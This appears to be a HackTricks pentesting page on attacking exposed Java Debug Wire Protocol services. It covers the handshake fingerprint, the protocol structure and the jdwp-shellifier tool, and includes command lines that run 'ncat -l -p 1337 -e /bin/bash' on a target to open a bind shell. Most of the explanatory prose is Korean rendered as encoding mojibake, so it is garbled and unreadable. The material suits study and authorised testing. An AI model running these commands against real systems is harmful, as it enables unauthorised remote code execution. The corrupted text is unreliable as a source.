Pentesting JDWP - Java Debug Wire Protocol

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Exploiting

JDWP ์•…์šฉ์€ ํ”„๋กœํ† ์ฝœ์˜ ์ธ์ฆ ๋ฐ ์•”ํ˜ธํ™” ๋ถ€์กฑ์— ๋‹ฌ๋ ค ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ํฌํŠธ 8000์—์„œ ๋ฐœ๊ฒฌ๋˜์ง€๋งŒ ๋‹ค๋ฅธ ํฌํŠธ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ดˆ๊ธฐ ์—ฐ๊ฒฐ์€ ๋Œ€์ƒ ํฌํŠธ์— โ€œJDWP-Handshakeโ€œ๋ฅผ ์ „์†กํ•˜์—ฌ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. JDWP ์„œ๋น„์Šค๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด ๋™์ผํ•œ ๋ฌธ์ž์—ด๋กœ ์‘๋‹ตํ•˜์—ฌ ์กด์žฌ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด ํ•ธ๋“œ์…ฐ์ดํฌ๋Š” ๋„คํŠธ์›Œํฌ์—์„œ JDWP ์„œ๋น„์Šค๋ฅผ ์‹๋ณ„ํ•˜๋Š” ์ง€๋ฌธ ์ธ์‹ ๋ฐฉ๋ฒ•์œผ๋กœ ์ž‘์šฉํ•ฉ๋‹ˆ๋‹ค.

ํ”„๋กœ์„ธ์Šค ์‹๋ณ„ ์ธก๋ฉด์—์„œ Java ํ”„๋กœ์„ธ์Šค์—์„œ โ€œjdwkโ€ ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•˜๋ฉด ํ™œ์„ฑ JDWP ์„ธ์…˜์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฃผ์š” ๋„๊ตฌ๋Š” jdwp-shellifier์ž…๋‹ˆ๋‹ค. ๋‹ค์–‘ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

--break-on 'java.lang.String.indexOf'์˜ ์‚ฌ์šฉ์ด ์ต์Šคํ”Œ๋กœ์ž‡์„ ๋” ์•ˆ์ •์ ์œผ๋กœ ๋งŒ๋“ ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ํ˜ธ์ŠคํŠธ์— ๋ฐฑ๋„์–ด๋ฅผ ์—…๋กœ๋“œํ•˜๊ณ  ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๋Œ€์‹  ์‹คํ–‰ํ•  ๊ธฐํšŒ๊ฐ€ ์žˆ๋‹ค๋ฉด, ์ต์Šคํ”Œ๋กœ์ž‡์€ ๋”์šฑ ์•ˆ์ •์ ์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋” ๋งŽ์€ ์„ธ๋ถ€์ •๋ณด

์ด๊ฒƒ์€ https://ioactive.com/hacking-java-debug-wire-protocol-or-how/์˜ ์š”์•ฝ์ž…๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ์„ธ๋ถ€์ •๋ณด๋Š” ํ•ด๋‹น ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

  1. JDWP ๊ฐœ์š”:
  • ํŒจํ‚ท ๊ธฐ๋ฐ˜์˜ ๋„คํŠธ์›Œํฌ ์ด์ง„ ํ”„๋กœํ† ์ฝœ๋กœ, ์ฃผ๋กœ ๋™๊ธฐ์‹์ž…๋‹ˆ๋‹ค.
  • ์ธ์ฆ ๋ฐ ์•”ํ˜ธํ™”๊ฐ€ ๋ถ€์กฑํ•˜์—ฌ ์ ๋Œ€์ ์ธ ๋„คํŠธ์›Œํฌ์— ๋…ธ์ถœ๋  ๊ฒฝ์šฐ ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.
  1. JDWP ํ•ธ๋“œ์…ฐ์ดํฌ:
  • ํ†ต์‹ ์„ ์‹œ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ„๋‹จํ•œ ํ•ธ๋“œ์…ฐ์ดํฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋””๋ฒ„๊ฑฐ(ํด๋ผ์ด์–ธํŠธ)์™€ ๋””๋ฒ„๊ธฐ(์„œ๋ฒ„) ๊ฐ„์— 14์ž ASCII ๋ฌธ์ž์—ด โ€œJDWP-Handshakeโ€๊ฐ€ ๊ตํ™˜๋ฉ๋‹ˆ๋‹ค.
  1. JDWP ํ†ต์‹ :
  • ๋ฉ”์‹œ์ง€๋Š” ๊ธธ์ด, ID, ํ”Œ๋ž˜๊ทธ ๋ฐ CommandSet๊ณผ ๊ฐ™์€ ํ•„๋“œ๋ฅผ ๊ฐ€์ง„ ๊ฐ„๋‹จํ•œ ๊ตฌ์กฐ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.
  • CommandSet ๊ฐ’์€ 0x40์—์„œ 0x80๊นŒ์ง€ ๋‹ค์–‘ํ•˜๋ฉฐ, ์„œ๋กœ ๋‹ค๋ฅธ ๋™์ž‘ ๋ฐ ์ด๋ฒคํŠธ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  1. ์ต์Šคํ”Œ๋กœ์ž‡:
  • JDWP๋Š” ์ž„์˜์˜ ํด๋ž˜์Šค์™€ ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๊ณ  ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด ๊ธฐ์‚ฌ๋Š” Java Runtime ์ฐธ์กฐ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ , ์ค‘๋‹จ์ ์„ ์„ค์ •ํ•˜๊ณ , ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋‹ค์„ฏ ๋‹จ๊ณ„์˜ ์ต์Šคํ”Œ๋กœ์ž‡ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ž์„ธํžˆ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.
  1. ์‹ค์ œ ์ต์Šคํ”Œ๋กœ์ž‡:
  • ์ž ์žฌ์ ์ธ ๋ฐฉํ™”๋ฒฝ ๋ณดํ˜ธ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , JDWP ์„œ๋น„์Šค๋Š” ๋ฐœ๊ฒฌ ๊ฐ€๋Šฅํ•˜๋ฉฐ ์‹ค์ œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์ต์Šคํ”Œ๋กœ์ž‡๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ShodanHQ ๋ฐ GitHub์™€ ๊ฐ™์€ ํ”Œ๋žซํผ์—์„œ์˜ ๊ฒ€์ƒ‰์„ ํ†ตํ•ด ์ž…์ฆ๋ฉ๋‹ˆ๋‹ค.
  • ์ต์Šคํ”Œ๋กœ์ž‡ ์Šคํฌ๋ฆฝํŠธ๋Š” ๋‹ค์–‘ํ•œ JDK ๋ฒ„์ „์—์„œ ํ…Œ์ŠคํŠธ๋˜์—ˆ์œผ๋ฉฐ, ํ”Œ๋žซํผ์— ๋…๋ฆฝ์ ์ด๋ฉฐ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(RCE)์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  1. ๋ณด์•ˆ ์˜๋ฏธ:
  • ์ธํ„ฐ๋„ท์— ์—ด๋ฆฐ JDWP ์„œ๋น„์Šค์˜ ์กด์žฌ๋Š” ์ •๊ธฐ์ ์ธ ๋ณด์•ˆ ๊ฒ€ํ† ์˜ ํ•„์š”์„ฑ์„ ๊ฐ•์กฐํ•˜๋ฉฐ, ํ”„๋กœ๋•์…˜์—์„œ ๋””๋ฒ„๊ทธ ๊ธฐ๋Šฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  ์ ์ ˆํ•œ ๋ฐฉํ™”๋ฒฝ ๊ตฌ์„ฑ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ:

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ